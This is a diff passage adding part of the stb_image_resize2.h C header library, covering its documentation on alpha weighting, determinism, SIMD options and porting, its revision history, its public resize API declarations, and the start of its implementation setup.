+         the built-in half float hardware NEON instructions.
+
+         You can also tell us to use multiply-add instructions with STBIR_USE_FMA.
+         Because x86 doesn't always have fma, we turn it off by default to maintain
+         determinism across all platforms. If you don't care about non-FMA determinism
+         and are willing to restrict yourself to more recent x86 CPUs (around the AVX
+         timeframe), then fma will give you around a 15% speedup.
+
+         You can force off SIMD in all cases by defining STBIR_NO_SIMD. You can turn
+         off AVX or AVX2 specifically with STBIR_NO_AVX or STBIR_NO_AVX2. AVX is 10%
+         to 40% faster, and AVX2 is generally another 12%.
+
+      ALPHA CHANNEL
+         Most of the resizing functions provide the ability to control how the alpha
+         channel of an image is processed.
+
+         When alpha represents transparency, it is important that when combining
+         colors with filtering, the pixels should not be treated equally; they
+         should use a weighted average based on their alpha values. For example,
+         if a pixel is 1% opaque bright green and another pixel is 99% opaque
+         black and you average them, the average will be 50% opaque, but the
+         unweighted average and will be a middling green color, while the weighted
+         average will be nearly black. This means the unweighted version introduced
+         green energy that didn't exist in the source image.
+
+         (If you want to know why this makes sense, you can work out the math for
+         the following: consider what happens if you alpha composite a source image
+         over a fixed color and then average the output, vs. if you average the
+         source image pixels and then composite that over the same fixed color.
+         Only the weighted average produces the same result as the ground truth
+         composite-then-average result.)
+
+         Therefore, it is in general best to "alpha weight" the pixels when applying
+         filters to them. This essentially means multiplying the colors by the alpha
+         values before combining them, and then dividing by the alpha value at the
+         end.
+
+         The computer graphics industry introduced a technique called "premultiplied
+         alpha" or "associated alpha" in which image colors are stored in image files
+         already multiplied by their alpha. This saves some math when compositing,
+         and also avoids the need to divide by the alpha at the end (which is quite
+         inefficient). However, while premultiplied alpha is common in the movie CGI
+         industry, it is not commonplace in other industries like videogames, and most
+         consumer file formats are generally expected to contain not-premultiplied
+         colors. For example, Photoshop saves PNG files "unpremultiplied", and web
+         browsers like Chrome and Firefox expect PNG images to be unpremultiplied.
+
+         Note that there are three possibilities that might describe your image
+         and resize expectation:
+
+             1. images are not premultiplied, alpha weighting is desired
+             2. images are not premultiplied, alpha weighting is not desired
+             3. images are premultiplied
+
+         Both case #2 and case #3 require the exact same math: no alpha weighting
+         should be applied or removed. Only case 1 requires extra math operations;
+         the other two cases can be handled identically.
+
+         stb_image_resize expects case #1 by default, applying alpha weighting to
+         images, expecting the input images to be unpremultiplied. This is what the
+         COLOR+ALPHA buffer types tell the resizer to do.
+
+         When you use the pixel layouts STBIR_RGBA, STBIR_BGRA, STBIR_ARGB,
+         STBIR_ABGR, STBIR_RX, or STBIR_XR you are telling us that the pixels are
+         non-premultiplied. In these cases, the resizer will alpha weight the colors
+         (effectively creating the premultiplied image), do the filtering, and then
+         convert back to non-premult on exit.
+
+         When you use the pixel layouts STBIR_RGBA_PM, STBIR_RGBA_PM, STBIR_RGBA_PM,
+         STBIR_RGBA_PM, STBIR_RX_PM or STBIR_XR_PM, you are telling that the pixels
+         ARE premultiplied. In this case, the resizer doesn't have to do the
+         premultipling - it can filter directly on the input. This about twice as
+         fast as the non-premultiplied case, so it's the right option if your data is
+         already setup correctly.
+
+         When you use the pixel layout STBIR_4CHANNEL or STBIR_2CHANNEL, you are
+         telling us that there is no channel that represents transparency; it may be
+         RGB and some unrelated fourth channel that has been stored in the alpha
+         channel, but it is actually not alpha. No special processing will be
+         performed.
+
+         The difference between the generic 4 or 2 channel layouts, and the
+         specialized _PM versions is with the _PM versions you are telling us that
+         the data *is* alpha, just don't premultiply it. That's important when
+         using SRGB pixel formats, we need to know where the alpha is, because
+         it is converted linearly (rather than with the SRGB converters).
+
+         Because alpha weighting produces the same effect as premultiplying, you
+         even have the option with non-premultiplied inputs to let the resizer
+         produce a premultiplied output. Because the intially computed alpha-weighted
+         output image is effectively premultiplied, this is actually more performant
+         than the normal path which un-premultiplies the output image as a final step.
+
+         Finally, when converting both in and out of non-premulitplied space (for
+         example, when using STBIR_RGBA), we go to somewhat heroic measures to
+         ensure that areas with zero alpha value pixels get something reasonable
+         in the RGB values. If you don't care about the RGB values of zero alpha
+         pixels, you can call the stbir_set_non_pm_alpha_speed_over_quality()
+         function - this runs a premultiplied resize about 25% faster. That said,
+         when you really care about speed, using premultiplied pixels for both in
+         and out (STBIR_RGBA_PM, etc) much faster than both of these premultiplied
+         options.
+
+      PIXEL LAYOUT CONVERSION
+         The resizer can convert from some pixel layouts to others. When using the
+         stbir_set_pixel_layouts(), you can, for example, specify STBIR_RGBA
+         on input, and STBIR_ARGB on output, and it will re-organize the channels
+         during the resize. Currently, you can only convert between two pixel
+         layouts with the same number of channels.
+
+      DETERMINISM
+         We commit to being deterministic (from x64 to ARM to scalar to SIMD, etc).
+         This requires compiling with fast-math off (using at least /fp:precise).
+         Also, you must turn off fp-contracting (which turns mult+adds into fmas)!
+         We attempt to do this with pragmas, but with Clang, you usually want to add
+         -ffp-contract=off to the command line as well.
+
+         For 32-bit x86, you must use SSE and SSE2 codegen for determinism. That is,
+         if the scalar x87 unit gets used at all, we immediately lose determinism.
+         On Microsoft Visual Studio 2008 and earlier, from what we can tell there is
+         no way to be deterministic in 32-bit x86 (some x87 always leaks in, even
+         with fp:strict). On 32-bit x86 GCC, determinism requires both -msse2 and
+         -fpmath=sse.
+
+         Note that we will not be deterministic with float data containing NaNs -
+         the NaNs will propagate differently on different SIMD and platforms.
+
+         If you turn on STBIR_USE_FMA, then we will be deterministic with other
+         fma targets, but we will differ from non-fma targets (this is unavoidable,
+         because a fma isn't simply an add with a mult - it also introduces a
+         rounding difference compared to non-fma instruction sequences.
+
+      FLOAT PIXEL FORMAT RANGE
+         Any range of values can be used for the non-alpha float data that you pass
+         in (0 to 1, -1 to 1, whatever). However, if you are inputting float values
+         but *outputting* bytes or shorts, you must use a range of 0 to 1 so that we
+         scale back properly. The alpha channel must also be 0 to 1 for any format
+         that does premultiplication prior to resizing.
+
+         Note also that with float output, using filters with negative lobes, the
+         output filtered values might go slightly out of range. You can define
+         STBIR_FLOAT_LOW_CLAMP and/or STBIR_FLOAT_HIGH_CLAMP to specify the range
+         to clamp to on output, if that's important.
+
+      MAX/MIN SCALE FACTORS
+         The input pixel resolutions are in integers, and we do the internal pointer
+         resolution in size_t sized integers. However, the scale ratio from input
+         resolution to output resolution is calculated in float form. This means
+         the effective possible scale ratio is limited to 24 bits (or 16 million
+         to 1). As you get close to the size of the float resolution (again, 16
+         million pixels wide or high), you might start seeing float inaccuracy
+         issues in general in the pipeline. If you have to do extreme resizes,
+         you can usually do this is multiple stages (using float intermediate
+         buffers).
+
+      FLIPPED IMAGES
+         Stride is just the delta from one scanline to the next. This means you can
+         use a negative stride to handle inverted images (point to the final
+         scanline and use a negative stride). You can invert the input or output,
+         using negative strides.
+
+      DEFAULT FILTERS
+         For functions which don't provide explicit control over what filters to
+         use, you can change the compile-time defaults with:
+
+            #define STBIR_DEFAULT_FILTER_UPSAMPLE     STBIR_FILTER_something
+            #define STBIR_DEFAULT_FILTER_DOWNSAMPLE   STBIR_FILTER_something
+
+         See stbir_filter in the header-file section for the list of filters.
+
+      NEW FILTERS
+         A number of 1D filter kernels are supplied. For a list of supported
+         filters, see the stbir_filter enum. You can install your own filters by
+         using the stbir_set_filter_callbacks function.
+
+      PROGRESS
+         For interactive use with slow resize operations, you can use the 
+         scanline callbacks in the extended API. It would have to be a *very* large
+         image resample to need progress though - we're very fast.
+
+      CEIL and FLOOR
+         In scalar mode, the only functions we use from math.h are ceilf and floorf,
+         but if you have your own versions, you can define the STBIR_CEILF(v) and
+         STBIR_FLOORF(v) macros and we'll use them instead. In SIMD, we just use
+         our own versions.
+
+      ASSERT
+         Define STBIR_ASSERT(boolval) to override assert() and not use assert.h
+
+     PORTING FROM VERSION 1
+        The API has changed. You can continue to use the old version of stb_image_resize.h,
+        which is available in the "deprecated/" directory.
+
+        If you're using the old simple-to-use API, porting is straightforward.
+        (For more advanced APIs, read the documentation.)
+
+          stbir_resize_uint8():
+            - call `stbir_resize_uint8_linear`, cast channel count to `stbir_pixel_layout`
+
+          stbir_resize_float():
+            - call `stbir_resize_float_linear`, cast channel count to `stbir_pixel_layout`
+
+          stbir_resize_uint8_srgb():
+            - function name is unchanged
+            - cast channel count to `stbir_pixel_layout`
+            - above is sufficient unless your image has alpha and it's not RGBA/BGRA
+              - in that case, follow the below instructions for stbir_resize_uint8_srgb_edgemode
+
+          stbir_resize_uint8_srgb_edgemode()
+            - switch to the "medium complexity" API
+            - stbir_resize(), very similar API but a few more parameters:
+              - pixel_layout: cast channel count to `stbir_pixel_layout`
+              - data_type:    STBIR_TYPE_UINT8_SRGB
+              - edge:         unchanged (STBIR_EDGE_WRAP, etc.)
+              - filter:       STBIR_FILTER_DEFAULT
+            - which channel is alpha is specified in stbir_pixel_layout, see enum for details
+
+      FUTURE TODOS
+        *  For polyphase integral filters, we just memcpy the coeffs to dupe
+           them, but we should indirect and use the same coeff memory.
+        *  Add pixel layout conversions for sensible different channel counts
+           (maybe, 1->3/4, 3->4, 4->1, 3->1).
+         * For SIMD encode and decode scanline routines, do any pre-aligning
+           for bad input/output buffer alignments and pitch?
+         * For very wide scanlines, we should we do vertical strips to stay within
+           L2 cache. Maybe do chunks of 1K pixels at a time. There would be
+           some pixel reconversion, but probably dwarfed by things falling out
+           of cache. Probably also something possible with alternating between
+           scattering and gathering at high resize scales?
+         * Should we have a multiple MIPs at the same time function (could keep
+           more memory in cache during multiple resizes)?
+         * Rewrite the coefficient generator to do many at once.
+         * AVX-512 vertical kernels - worried about downclocking here.
+         * Convert the reincludes to macros when we know they aren't changing.
+         * Experiment with pivoting the horizontal and always using the
+           vertical filters (which are faster, but perhaps not enough to overcome
+           the pivot cost and the extra memory touches). Need to buffer the whole
+           image so have to balance memory use.
+         * Most of our code is internally function pointers, should we compile
+           all the SIMD stuff always and dynamically dispatch?
+
+   CONTRIBUTORS
+      Jeff Roberts: 2.0 implementation, optimizations, SIMD
+      Martins Mozeiko: NEON simd, WASM simd, clang and GCC whisperer
+      Fabian Giesen: half float and srgb converters
+      Sean Barrett: API design, optimizations
+      Jorge L Rodriguez: Original 1.0 implementation
+      Aras Pranckevicius: bugfixes
+      Nathan Reed: warning fixes for 1.0
+
+   REVISIONS
+      2.16 (2025-10-21) fixed the easy-to-use APIs to allow inverted bitmaps (negative
+                          strides), fix vertical filter kernel callback, fix threaded
+                          gather buffer priming (and assert).
+                          (thanks adipose, TainZerL, and Harrison Green)
+      2.15 (2025-07-17) fixed an assert in debug mode when using floats with input
+                          callbacks, work around GCC warning when adding to null ptr
+                          (thanks Johannes Spohr and Pyry Kovanen).
+      2.14 (2025-05-09) fixed a bug using downsampling gather horizontal first, and 
+                          scatter with vertical first.
+      2.13 (2025-02-27) fixed a bug when using input callbacks, turned off simd for 
+                          tiny-c, fixed some variables that should have been static,
+                          fixes a bug when calculating temp memory with resizes that
+                          exceed 2GB of temp memory (very large resizes).
+      2.12 (2024-10-18) fix incorrect use of user_data with STBIR_FREE
+      2.11 (2024-09-08) fix harmless asan warnings in 2-channel and 3-channel mode
+                          with AVX-2, fix some weird scaling edge conditions with
+                          point sample mode.
+      2.10 (2024-07-27) fix the defines GCC and mingw for loop unroll control,
+                          fix MSVC 32-bit arm half float routines.
+      2.09 (2024-06-19) fix the defines for 32-bit ARM GCC builds (was selecting
+                          hardware half floats).
+      2.08 (2024-06-10) fix for RGB->BGR three channel flips and add SIMD (thanks
+                          to Ryan Salsbury), fix for sub-rect resizes, use the
+                          pragmas to control unrolling when they are available.
+      2.07 (2024-05-24) fix for slow final split during threaded conversions of very 
+                          wide scanlines when downsampling (caused by extra input 
+                          converting), fix for wide scanline resamples with many 
+                          splits (int overflow), fix GCC warning.
+      2.06 (2024-02-10) fix for identical width/height 3x or more down-scaling 
+                          undersampling a single row on rare resize ratios (about 1%).
+      2.05 (2024-02-07) fix for 2 pixel to 1 pixel resizes with wrap (thanks Aras),
+                        fix for output callback (thanks Julien Koenen).
+      2.04 (2023-11-17) fix for rare AVX bug, shadowed symbol (thanks Nikola Smiljanic).
+      2.03 (2023-11-01) ASAN and TSAN warnings fixed, minor tweaks.
+      2.00 (2023-10-10) mostly new source: new api, optimizations, simd, vertical-first, etc
+                          2x-5x faster without simd, 4x-12x faster with simd,
+                          in some cases, 20x to 40x faster esp resizing large to very small.
+      0.96 (2019-03-04) fixed warnings
+      0.95 (2017-07-23) fixed warnings
+      0.94 (2017-03-18) fixed warnings
+      0.93 (2017-03-03) fixed bug with certain combinations of heights
+      0.92 (2017-01-02) fix integer overflow on large (>2GB) images
+      0.91 (2016-04-02) fix warnings; fix handling of subpixel regions
+      0.90 (2014-09-17) first released version
+
+   LICENSE
+     See end of file for license information.
+*/
+
+#if !defined(STB_IMAGE_RESIZE_DO_HORIZONTALS) && !defined(STB_IMAGE_RESIZE_DO_VERTICALS) && !defined(STB_IMAGE_RESIZE_DO_CODERS)   // for internal re-includes
+
+#ifndef STBIR_INCLUDE_STB_IMAGE_RESIZE2_H
+#define STBIR_INCLUDE_STB_IMAGE_RESIZE2_H
+
+#include <stddef.h>
+#ifdef _MSC_VER
+typedef unsigned char    stbir_uint8;
+typedef unsigned short   stbir_uint16;
+typedef unsigned int     stbir_uint32;
+typedef unsigned __int64 stbir_uint64;
+#else
+#include <stdint.h>
+typedef uint8_t  stbir_uint8;
+typedef uint16_t stbir_uint16;
+typedef uint32_t stbir_uint32;
+typedef uint64_t stbir_uint64;
+#endif
+
+#ifndef STBIRDEF
+#ifdef STB_IMAGE_RESIZE_STATIC
+#define STBIRDEF static
+#else
+#ifdef __cplusplus
+#define STBIRDEF extern "C"
+#else
+#define STBIRDEF extern
+#endif
+#endif
+#endif
+
+//////////////////////////////////////////////////////////////////////////////
+////   start "header file" ///////////////////////////////////////////////////
+//
+// Easy-to-use API:
+//
+//     * stride is the offset between successive rows of image data
+//        in memory, in bytes. specify 0 for packed continuously in memory
+//     * colorspace is linear or sRGB as specified by function name
+//     * Uses the default filters
+//     * Uses edge mode clamped
+//     * returned result is 1 for success or 0 in case of an error.
+
+
+// stbir_pixel_layout specifies:
+//   number of channels
+//   order of channels
+//   whether color is premultiplied by alpha
+// for back compatibility, you can cast the old channel count to an stbir_pixel_layout
+typedef enum
+{
+  STBIR_1CHANNEL = 1,
+  STBIR_2CHANNEL = 2,
+  STBIR_RGB      = 3,               // 3-chan, with order specified (for channel flipping)
+  STBIR_BGR      = 0,               // 3-chan, with order specified (for channel flipping)
+  STBIR_4CHANNEL = 5,
+
+  STBIR_RGBA = 4,                   // alpha formats, where alpha is NOT premultiplied into color channels
+  STBIR_BGRA = 6,
+  STBIR_ARGB = 7,
+  STBIR_ABGR = 8,
+  STBIR_RA   = 9,
+  STBIR_AR   = 10,
+
+  STBIR_RGBA_PM = 11,               // alpha formats, where alpha is premultiplied into color channels
+  STBIR_BGRA_PM = 12,
+  STBIR_ARGB_PM = 13,
+  STBIR_ABGR_PM = 14,
+  STBIR_RA_PM   = 15,
+  STBIR_AR_PM   = 16,
+
+  STBIR_RGBA_NO_AW = 11,            // alpha formats, where NO alpha weighting is applied at all!
+  STBIR_BGRA_NO_AW = 12,            //   these are just synonyms for the _PM flags (which also do
+  STBIR_ARGB_NO_AW = 13,            //   no alpha weighting). These names just make it more clear
+  STBIR_ABGR_NO_AW = 14,            //   for some folks).
+  STBIR_RA_NO_AW   = 15,
+  STBIR_AR_NO_AW   = 16,
+
+} stbir_pixel_layout;
+
+//===============================================================
+//  Simple-complexity API
+//
+//    If output_pixels is NULL (0), then we will allocate the buffer and return it to you.
+//--------------------------------
+
+STBIRDEF unsigned char * stbir_resize_uint8_srgb( const unsigned char *input_pixels , int input_w , int input_h, int input_stride_in_bytes,
+                                                        unsigned char *output_pixels, int output_w, int output_h, int output_stride_in_bytes,
+                                                        stbir_pixel_layout pixel_type );
+
+STBIRDEF unsigned char * stbir_resize_uint8_linear( const unsigned char *input_pixels , int input_w , int input_h, int input_stride_in_bytes,
+                                                          unsigned char *output_pixels, int output_w, int output_h, int output_stride_in_bytes,
+                                                          stbir_pixel_layout pixel_type );
+
+STBIRDEF float * stbir_resize_float_linear( const float *input_pixels , int input_w , int input_h, int input_stride_in_bytes,
+                                                  float *output_pixels, int output_w, int output_h, int output_stride_in_bytes,
+                                                  stbir_pixel_layout pixel_type );
+//===============================================================
+
+//===============================================================
+// Medium-complexity API
+//
+// This extends the easy-to-use API as follows:
+//
+//     * Can specify the datatype - U8, U8_SRGB, U16, FLOAT, HALF_FLOAT
+//     * Edge wrap can selected explicitly
+//     * Filter can be selected explicitly
+//--------------------------------
+
+typedef enum
+{
+  STBIR_EDGE_CLAMP   = 0,
+  STBIR_EDGE_REFLECT = 1,
+  STBIR_EDGE_WRAP    = 2,  // this edge mode is slower and uses more memory
+  STBIR_EDGE_ZERO    = 3,
+} stbir_edge;
+
+typedef enum
+{
+  STBIR_FILTER_DEFAULT      = 0,  // use same filter type that easy-to-use API chooses
+  STBIR_FILTER_BOX          = 1,  // A trapezoid w/1-pixel wide ramps, same result as box for integer scale ratios
+  STBIR_FILTER_TRIANGLE     = 2,  // On upsampling, produces same results as bilinear texture filtering
+  STBIR_FILTER_CUBICBSPLINE = 3,  // The cubic b-spline (aka Mitchell-Netrevalli with B=1,C=0), gaussian-esque
+  STBIR_FILTER_CATMULLROM   = 4,  // An interpolating cubic spline
+  STBIR_FILTER_MITCHELL     = 5,  // Mitchell-Netrevalli filter with B=1/3, C=1/3
+  STBIR_FILTER_POINT_SAMPLE = 6,  // Simple point sampling
+  STBIR_FILTER_OTHER        = 7,  // User callback specified
+} stbir_filter;
+
+typedef enum
+{
+  STBIR_TYPE_UINT8            = 0,
+  STBIR_TYPE_UINT8_SRGB       = 1,
+  STBIR_TYPE_UINT8_SRGB_ALPHA = 2,  // alpha channel, when present, should also be SRGB (this is very unusual)
+  STBIR_TYPE_UINT16           = 3,
+  STBIR_TYPE_FLOAT            = 4,
+  STBIR_TYPE_HALF_FLOAT       = 5
+} stbir_datatype;
+
+// medium api
+STBIRDEF void *  stbir_resize( const void *input_pixels , int input_w , int input_h, int input_stride_in_bytes,
+                                     void *output_pixels, int output_w, int output_h, int output_stride_in_bytes,
+                               stbir_pixel_layout pixel_layout, stbir_datatype data_type,
+                               stbir_edge edge, stbir_filter filter );
+//===============================================================
+
+
+
+//===============================================================
+// Extended-complexity API
+//
+// This API exposes all resize functionality.
+//
+//     * Separate filter types for each axis
+//     * Separate edge modes for each axis
+//     * Separate input and output data types
+//     * Can specify regions with subpixel correctness
+//     * Can specify alpha flags
+//     * Can specify a memory callback
+//     * Can specify a callback data type for pixel input and output
+//     * Can be threaded for a single resize
+//     * Can be used to resize many frames without recalculating the sampler info
+//
+//  Use this API as follows:
+//     1) Call the stbir_resize_init function on a local STBIR_RESIZE structure
+//     2) Call any of the stbir_set functions
+//     3) Optionally call stbir_build_samplers() if you are going to resample multiple times
+//        with the same input and output dimensions (like resizing video frames)
+//     4) Resample by calling stbir_resize_extended().
+//     5) Call stbir_free_samplers() if you called stbir_build_samplers()
+//--------------------------------
+
+
+// Types:
+
+// INPUT CALLBACK: this callback is used for input scanlines
+typedef void const * stbir_input_callback( void * optional_output, void const * input_ptr, int num_pixels, int x, int y, void * context );
+
+// OUTPUT CALLBACK: this callback is used for output scanlines
+typedef void stbir_output_callback( void const * output_ptr, int num_pixels, int y, void * context );
+
+// callbacks for user installed filters
+typedef float stbir__kernel_callback( float x, float scale, void * user_data ); // centered at zero
+typedef float stbir__support_callback( float scale, void * user_data );
+
+// internal structure with precomputed scaling
+typedef struct stbir__info stbir__info;
+
+typedef struct STBIR_RESIZE  // use the stbir_resize_init and stbir_override functions to set these values for future compatibility
+{
+  void * user_data;
+  void const * input_pixels;
+  int input_w, input_h;
+  double input_s0, input_t0, input_s1, input_t1;
+  stbir_input_callback * input_cb;
+  void * output_pixels;
+  int output_w, output_h;
+  int output_subx, output_suby, output_subw, output_subh;
+  stbir_output_callback * output_cb;
+  int input_stride_in_bytes;
+  int output_stride_in_bytes;
+  int splits;
+  int fast_alpha;
+  int needs_rebuild;
+  int called_alloc;
+  stbir_pixel_layout input_pixel_layout_public;
+  stbir_pixel_layout output_pixel_layout_public;
+  stbir_datatype input_data_type;
+  stbir_datatype output_data_type;
+  stbir_filter horizontal_filter, vertical_filter;
+  stbir_edge horizontal_edge, vertical_edge;
+  stbir__kernel_callback * horizontal_filter_kernel; stbir__support_callback * horizontal_filter_support;
+  stbir__kernel_callback * vertical_filter_kernel; stbir__support_callback * vertical_filter_support;
+  stbir__info * samplers;
+} STBIR_RESIZE;
+
+// extended complexity api
+
+
+// First off, you must ALWAYS call stbir_resize_init on your resize structure before any of the other calls!
+STBIRDEF void stbir_resize_init( STBIR_RESIZE * resize,
+                                 const void *input_pixels,  int input_w,  int input_h, int input_stride_in_bytes, // stride can be zero
+                                       void *output_pixels, int output_w, int output_h, int output_stride_in_bytes, // stride can be zero
+                                 stbir_pixel_layout pixel_layout, stbir_datatype data_type );
+
+//===============================================================
+// You can update these parameters any time after resize_init and there is no cost
+//--------------------------------
+
+STBIRDEF void stbir_set_datatypes( STBIR_RESIZE * resize, stbir_datatype input_type, stbir_datatype output_type );
+STBIRDEF void stbir_set_pixel_callbacks( STBIR_RESIZE * resize, stbir_input_callback * input_cb, stbir_output_callback * output_cb );   // no callbacks by default
+STBIRDEF void stbir_set_user_data( STBIR_RESIZE * resize, void * user_data );                                               // pass back STBIR_RESIZE* by default
+STBIRDEF void stbir_set_buffer_ptrs( STBIR_RESIZE * resize, const void * input_pixels, int input_stride_in_bytes, void * output_pixels, int output_stride_in_bytes );
+
+//===============================================================
+
+
+//===============================================================
+// If you call any of these functions, you will trigger a sampler rebuild!
+//--------------------------------
+
+STBIRDEF int stbir_set_pixel_layouts( STBIR_RESIZE * resize, stbir_pixel_layout input_pixel_layout, stbir_pixel_layout output_pixel_layout );  // sets new buffer layouts
+STBIRDEF int stbir_set_edgemodes( STBIR_RESIZE * resize, stbir_edge horizontal_edge, stbir_edge vertical_edge );       // CLAMP by default
+
+STBIRDEF int stbir_set_filters( STBIR_RESIZE * resize, stbir_filter horizontal_filter, stbir_filter vertical_filter ); // STBIR_DEFAULT_FILTER_UPSAMPLE/DOWNSAMPLE by default
+STBIRDEF int stbir_set_filter_callbacks( STBIR_RESIZE * resize, stbir__kernel_callback * horizontal_filter, stbir__support_callback * horizontal_support, stbir__kernel_callback * vertical_filter, stbir__support_callback * vertical_support );
+
+STBIRDEF int stbir_set_pixel_subrect( STBIR_RESIZE * resize, int subx, int suby, int subw, int subh );        // sets both sub-regions (full regions by default)
+STBIRDEF int stbir_set_input_subrect( STBIR_RESIZE * resize, double s0, double t0, double s1, double t1 );    // sets input sub-region (full region by default)
+STBIRDEF int stbir_set_output_pixel_subrect( STBIR_RESIZE * resize, int subx, int suby, int subw, int subh ); // sets output sub-region (full region by default)
+
+// when inputting AND outputting non-premultiplied alpha pixels, we use a slower but higher quality technique
+//   that fills the zero alpha pixel's RGB values with something plausible.  If you don't care about areas of
+//   zero alpha, you can call this function to get about a 25% speed improvement for STBIR_RGBA to STBIR_RGBA
+//   types of resizes.
+STBIRDEF int stbir_set_non_pm_alpha_speed_over_quality( STBIR_RESIZE * resize, int non_pma_alpha_speed_over_quality );
+//===============================================================
+
+
+//===============================================================
+// You can call build_samplers to prebuild all the internal data we need to resample.
+//   Then, if you call resize_extended many times with the same resize, you only pay the
+//   cost once.
+// If you do call build_samplers, you MUST call free_samplers eventually.
+//--------------------------------
+
+// This builds the samplers and does one allocation
+STBIRDEF int stbir_build_samplers( STBIR_RESIZE * resize );
+
+// You MUST call this, if you call stbir_build_samplers or stbir_build_samplers_with_splits
+STBIRDEF void stbir_free_samplers( STBIR_RESIZE * resize );
+//===============================================================
+
+
+// And this is the main function to perform the resize synchronously on one thread.
+STBIRDEF int stbir_resize_extended( STBIR_RESIZE * resize );
+
+
+//===============================================================
+// Use these functions for multithreading.
+//   1) You call stbir_build_samplers_with_splits first on the main thread
+//   2) Then stbir_resize_with_split on each thread
+//   3) stbir_free_samplers when done on the main thread
+//--------------------------------
+
+// This will build samplers for threading.
+//   You can pass in the number of threads you'd like to use (try_splits).
+//   It returns the number of splits (threads) that you can call it with.
+///  It might be less if the image resize can't be split up that many ways.
+
+STBIRDEF int stbir_build_samplers_with_splits( STBIR_RESIZE * resize, int try_splits );
+
+// This function does a split of the resizing (you call this fuction for each
+// split, on multiple threads). A split is a piece of the output resize pixel space.
+
+// Note that you MUST call stbir_build_samplers_with_splits before stbir_resize_extended_split!
+
+// Usually, you will always call stbir_resize_split with split_start as the thread_index
+//   and "1" for the split_count.
+// But, if you have a weird situation where you MIGHT want 8 threads, but sometimes
+//   only 4 threads, you can use 0,2,4,6 for the split_start's and use "2" for the
+//   split_count each time to turn in into a 4 thread resize. (This is unusual).
+
+STBIRDEF int stbir_resize_extended_split( STBIR_RESIZE * resize, int split_start, int split_count );
+//===============================================================
+
+
+//===============================================================
+// Pixel Callbacks info:
+//--------------------------------
+
+//   The input callback is super flexible - it calls you with the input address
+//   (based on the stride and base pointer), it gives you an optional_output
+//   pointer that you can fill, or you can just return your own pointer into
+//   your own data.
+//
+//   You can also do conversion from non-supported data types if necessary - in
+//   this case, you ignore the input_ptr and just use the x and y parameters to
+//   calculate your own input_ptr based on the size of each non-supported pixel.
+//   (Something like the third example below.)
+//
+//   You can also install just an input or just an output callback by setting the
+//   callback that you don't want to zero.
+//
+//     First example, progress: (getting a callback that you can monitor the progress):
+//        void const * my_callback( void * optional_output, void const * input_ptr, int num_pixels, int x, int y, void * context )
+//        {
+//           percentage_done = y / input_height;
+//           return input_ptr;  // use buffer from call
+//        }
+//
+//     Next example, copying: (copy from some other buffer or stream):
+//        void const * my_callback( void * optional_output, void const * input_ptr, int num_pixels, int x, int y, void * context )
+//        {
+//           CopyOrStreamData( optional_output, other_data_src, num_pixels * pixel_width_in_bytes );
+//           return optional_output;  // return the optional buffer that we filled
+//        }
+//
+//     Third example, input another buffer without copying: (zero-copy from other buffer):
+//        void const * my_callback( void * optional_output, void const * input_ptr, int num_pixels, int x, int y, void * context )
+//        {
+//           void * pixels = ( (char*) other_image_base ) + ( y * other_image_stride ) + ( x * other_pixel_width_in_bytes );
+//           return pixels;       // return pointer to your data without copying
+//        }
+//
+//
+//   The output callback is considerably simpler - it just calls you so that you can dump
+//   out each scanline. You could even directly copy out to disk if you have a simple format
+//   like TGA or BMP. You can also convert to other output types here if you want.
+//
+//   Simple example:
+//        void const * my_output( void * output_ptr, int num_pixels, int y, void * context )
+//        {
+//           percentage_done = y / output_height;
+//           fwrite( output_ptr, pixel_width_in_bytes, num_pixels, output_file );
+//        }
+//===============================================================
+
+
+
+
+//===============================================================
+// optional built-in profiling API
+//--------------------------------
+
+#ifdef STBIR_PROFILE
+
+typedef struct STBIR_PROFILE_INFO
+{
+  stbir_uint64 total_clocks;
+
+  // how many clocks spent (of total_clocks) in the various resize routines, along with a string description
+  //    there are "resize_count" number of zones
+  stbir_uint64 clocks[ 8 ];
+  char const ** descriptions;
+
+  // count of clocks and descriptions
+  stbir_uint32 count;
+} STBIR_PROFILE_INFO;
+
+// use after calling stbir_resize_extended (or stbir_build_samplers or stbir_build_samplers_with_splits)
+STBIRDEF void stbir_resize_build_profile_info( STBIR_PROFILE_INFO * out_info, STBIR_RESIZE const * resize );
+
+// use after calling stbir_resize_extended
+STBIRDEF void stbir_resize_extended_profile_info( STBIR_PROFILE_INFO * out_info, STBIR_RESIZE const * resize );
+
+// use after calling stbir_resize_extended_split
+STBIRDEF void stbir_resize_split_profile_info( STBIR_PROFILE_INFO * out_info, STBIR_RESIZE const * resize, int split_start, int split_num );
+
+//===============================================================
+
+#endif
+
+
+////   end header file   /////////////////////////////////////////////////////
+#endif // STBIR_INCLUDE_STB_IMAGE_RESIZE2_H
+
+#if defined(STB_IMAGE_RESIZE_IMPLEMENTATION) || defined(STB_IMAGE_RESIZE2_IMPLEMENTATION)
+
+#ifndef STBIR_ASSERT
+#include <assert.h>
+#define STBIR_ASSERT(x) assert(x)
+#endif
+
+#ifndef STBIR_MALLOC
+#include <stdlib.h>
+#define STBIR_MALLOC(size,user_data) ((void)(user_data), malloc(size))
+#define STBIR_FREE(ptr,user_data)    ((void)(user_data), free(ptr))
+// (we used the comma operator to evaluate user_data, to avoid "unused parameter" warnings)
+#endif
+
+#ifdef _MSC_VER
+
+#define stbir__inline __forceinline
+
+#else
+
+#define stbir__inline __inline__
+
+// Clang address sanitizer
+#if defined(__has_feature)
+  #if __has_feature(address_sanitizer) || __has_feature(memory_sanitizer)
+    #ifndef STBIR__SEPARATE_ALLOCATIONS
+      #define STBIR__SEPARATE_ALLOCATIONS
+    #endif
+  #endif
+#endif
+
+#endif
+
+// GCC and MSVC
+#if defined(__SANITIZE_ADDRESS__)
+  #ifndef STBIR__SEPARATE_ALLOCATIONS
+    #define STBIR__SEPARATE_ALLOCATIONS
+  #endif
+#endif
+
+// Always turn off automatic FMA use - use STBIR_USE_FMA if you want.
+// Otherwise, this is a determinism disaster.
+#ifndef STBIR_DONT_CHANGE_FP_CONTRACT  // override in case you don't want this behavior
+#if defined(_MSC_VER) && !defined(__clang__)
+#if _MSC_VER > 1200
+#pragma fp_contract(off)
+#endif
+#elif defined(__GNUC__) &&  !defined(__clang__)
+#pragma GCC optimize("fp-contract=off")
+#else
+#pragma STDC FP_CONTRACT OFF
+#endif
+#endif
+
+#ifdef _MSC_VER
+#define STBIR__UNUSED(v)  (void)(v)
+#else
+#define STBIR__UNUSED(v)  (void)sizeof(v)
+#endif
+
+#define STBIR__ARRAY_SIZE(a) (sizeof((a))/sizeof((a)[0]))
+
+
+#ifndef STBIR_DEFAULT_FILTER_UPSAMPLE
